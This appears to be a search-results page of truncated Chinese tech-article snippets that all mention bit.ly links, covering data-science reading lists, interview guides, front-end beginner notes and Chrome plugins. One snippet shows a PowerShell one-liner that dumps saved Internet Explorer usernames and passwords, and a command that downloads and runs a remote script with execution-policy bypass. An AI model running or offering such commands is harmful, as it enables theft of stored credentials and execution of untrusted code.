谷歌首席决策科学家：30篇文章通关数据科学与人工智能

http://bit.ly/quaesita_bsides 《人工智能和数据科学的十大角色》：这篇文章介绍了不同的职位名称和它们对应的级别。 http://bit.ly/quaesita_unsupervised 《可解释的人工智能却无法传播的原因》：许多人被带有人工智能字样的的宣传所吸引，他们认为这意味着可信度。 http://bit.ly/quaesita_first ? “我想做什么” 《你的人工智能项目成功了吗？》 http://bit.ly/quaesita_dmguide 《当人工智能出错时，是谁的错？》：阐述了机器学习、人工智能的关键在于你是在用例子而不是文字说明来表达你的想法。 http://bit.ly/mlconf_cassie ?

盲目崇拜数据，是因为还不曾真正了解数据

感知和感官 在开启数据之旅时，如果你直接使用从网上购买的数据（http://bit.ly/gcp-publicdata），你很有可能会忘记这些数据是从何而来。 你可以在你的浏览器中使用 Jupyter 开发环境执行下面的步骤（http://bit.ly/jupyter_try）： （1）点击「with R」（http://bit.ly/jupyter_try） 如果他们业务精湛（http://bit.ly/quaesita_analysts），那就价值连城了。 什么是数据分布？ 如果我们继续使用这 27 条数据（http://bit.ly/quaesita_popwrong），我们也可以使用刚才的直方图来表示人口分布。 它的三个子领域包括： （1）挖掘大量信息，从而获得启发（数据分析，http://bit.ly/quaesita_analysts） （2）根据有限的信息明智地做出决策（数据统计，http://bit.ly

算法工程师常见面试问题及相关资料汇总

website https://bit.ly/2nJmWcl 数据科学&机器学习基础面试题 website https://bit.ly/2lBuRYH 计算机视觉、算法岗实习面经（阿里/格灵深瞳/ 南京地平线机器人） website https://bit.ly/2nMscvZ 面经 | 挂两次腾讯面试的春招教训 website https://bit.ly/2n6MzDG Face++公司 - 两轮技术面试面经 website https://bit.ly/2mdCHb9 秋招面经 | 旷视科技算法岗秋招面试经验分享 website https://bit.ly/2lCy8qE 面经+ 经验分享|2019秋招算法岗复盘 website https://bit.ly/2mfZi6P 专科生阿里大数据一面面经(已过) website https://bit.ly/2lDzbqm 2019 （旷视、商汤、智云、海康）面试总结 website https://bit.ly/2nbjZAW 秋招面经 | 滴滴20校招CV算法岗面试经验分享(三面） website https://bit.ly

给 WordPress 博客添加 Google Buzz 按钮

WPBuzzer：这个插件提供了 Bit.ly 的接口，可以让你吧分享到 Google Buzz 的按钮转化为 bit.ly 的短链接，并且通过 bit.ly 的 API 来显示短链接的点击次数来做统计

小白前端入门笔记（13），怎么将图片设置成超链接？

比如这样： <img src="https://<em>bit.ly</em>/fcc-running-cats" alt="Three kittens running towards the camera </p> <img src="https://bit.ly/fcc-relaxing-cat" alt="A cute orange cat lying on its back.

【爱可可推荐】春节必读10大热门机器学习文章

本榜单中涉及的主题：谷歌大脑，AlphaGo，生成维基百科，矩阵微积分，全局优化算法，Tensorflow项目模板，NLP，CheXNet 年度机器学习开源：http://bit.ly/2EbfA4z 用于深度学习的矩阵微积分 作者： Terence Parr和Jeremy Howard http://bit.ly/2BWOe0g ? 5. 参考链接：http://bit.ly/2FbtMfz

五个给机器学习和数据科学入门者的学习建议

Coursera 上的 Python 教程—(https://bit.ly/pythoneverybodycoursera) 从头学习 Python。 学习资源 Cousera 上的 Python 应用数据科学 (http://bit.ly/courseraDS)—开始打磨数据科学方向的 Python 技能。 学习资源 Cousera 上 Andrew Ng 的 deeplearning.ai (https://bit.ly/courseradl) (https://bit.ly/courseradl)—商业上最成功的从业者之一讲授的深度学习课程 DataCamp (http://bit.ly/datacampmrdbourke) 是一个很好学习网站。 如果你想知道一个自我引导的机器学习课程的例子是什么样子的，看看我的 Self-Created AI Masters Degree (https://bit.ly/aimastersdegree)。

一条命令获取 IE 浏览器保存网站的账号和密码信息

) | % { $_.RetrievePassword();$_ } | select username,resource,password 我们可以把他放到公网上，这里有老外现成的了：http://bit.ly Powershell 调用它即可： powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly

嘿，听说你不喜欢数学？

给家长们的资源 教学学生学习数学的策略: http://bit.ly/2yrqu2S 协助数学学习的方法：http://bit.ly/2y7z4YP 关于帮助做功课的建议————来自全国数学教师委员会： http://bit.ly/2xA0MKG 来自全国家长教师协会的指导: http://bit.ly/2fQ94GB 原文链接：http://www.sfchronicle.com/opinion/article

Empowering the Future with AI: Whatsapp x Dialogflow

Read our blog about it here: http://bit.ly/2KlEpSZ Sign up for free here: http://bit.ly/2KoFQAi

小白前端入门笔记（19），form表单里的加入提交按钮

<img src="https://<em>bit.ly</em>/fcc-relaxing-cat" alt="A cute orange cat lying on its back

作为程序员，我在电脑上都装过哪些 Chrome 插件？

具体有多强大，这里放个作者录制的演示视频让大家感受下： 下载地址：http://bit.ly/1FUt3u6 目前该插件在 Chrome 上共拥有 32 万用户，这个数字不可谓不惊人。 下载地址：http://bit.ly/2KENTpE 作为一款源码阅读工具，CRX 目前已拥有 7 万多开发者用户，主要提供源码下载，在线阅读等核心功能。 下载地址：http://bit.ly/2M4g0kY 可以说，通过这个插件，我有意无意的发现过诸多好项目。如果你也喜欢挖掘 GitHub 上的好项目，不妨装下这个插件。 下载地址：http://bit.ly/2KBszB6 具体功能如何，这里我学下美妆博主，给大家来个前后对比照，便一清二楚了。 没用 JSONView 之前： ? 用了 JSONView 之后： ?

小白前端入门笔记（17），在input标签内设置默认文本

<img src="https://<em>bit.ly</em>/fcc-relaxing-cat" alt="A cute orange cat lying on its back

小白前端入门笔记（12），设置哑链接

Ant Design Landing

. // Learn more about service workers: http://bit.ly/CRA-PWA serviceWorker.unregister(); 启动 完成以上步骤后执行 // To learn more about the benefits of this model and instructions on how to // opt-in, read http://bit.ly To learn more, visit http://bit.ly/CRA-PWA' ); }); } else { // Is not See http://bit.ly/CRA-PWA.' ); // Execute callback if (config

使用 .NET Core 3.0 进行跨平台 IoT 编程

可通过我的 GitHub 页面 bit.ly/2WCj0G2 获得随附的代码。 ? 图 1 通过 Web API 从运行 .NET Core 3.0 应用的 IoT 设备获取传感器读数 ? 可以在 bit.ly/2Ic1Ew1 中找到完整说明。简单地说，你可将操作系统闪存到 microSD 卡上。这可以通过 Windows 10 核心板仪表板 (bit.ly/2VvXm76) 轻松实现。 存在两个温度，因为 Sense HAT 有两个温度传感器，一个嵌入在 LPS25H 压力传感器中 (bit.ly/2MiYZEI)，另一个嵌入在 HTS221 湿度传感器中 (bit.ly/2HMP9GO 复制这些文件最直接的方法是使用 Windows 文件资源管理器 (bit.ly/2WYtnrT)。打开文件资源管理器，在地址栏中输入设备的 IP 地址，然后加上双反斜杠，后跟 c。 我将使用 Swagger UI (bit.ly/2IEnXXV) 创建一个简单的 UI。借助此 UI，最终用户可向 IoT 设备发送 HTTP 请求，因为他会将这些请求发送到常规 Web 应用！

小白前端入门笔记（14），ul标签创建无序list

<img src="https://<em>bit.ly</em>/fcc-relaxing-cat" alt="A cute orange cat lying on its back

2017年度30大最惊艳的开源机器学习项目

建议首先看看下面2篇文章： A）神经网络 深度学习A-Z™：动手的人工神经网络（Deep Learning A-Z™: Hands-On Artificial Neural Networks）http://bit.ly TensorFlow 用Python进行深度学习的TensorFlow完整指南（Complete Guide to TensorFlow for Deep Learning with Python）http://bit.ly

小白前端入门笔记（八），怎么在网页中插入图片？

并且将src属性设置为：https://bit.ly/fcc-relaxing-cat。 最后，不要忘记了给img元素加上alt属性。

CatPhotoApp

<main>

Kitty ipsum

机器学习虽好，也要看什么场合！

举例来说，我们可能拿到了一组患者正确药量的数据集，它长成这样： 数据集的地址：http://bit.ly/quaesita_slkid 其中每个数据点包括两个部分：输入特征是某位患者当前的治疗日（Treatment 不了解遍历性假设的同学，可参考：https://en.wikipedia.org/wiki/Ergodicity 不了解平稳性假设的同学，可参考：https://bit.ly/stationaritya A 22-item reality check(list)，http://bit.ly/quaesita_realitycheck Advice for finding ML/AI use cases， http://bit.ly/quaesita_island Getting started with ML/AI? http://bit.ly/quaesita_dmguide 3 那么，能找到这个隐藏模式吗？ 所以兜了这么大的圈子之后，第61天到底应该让患者吃多少药呀？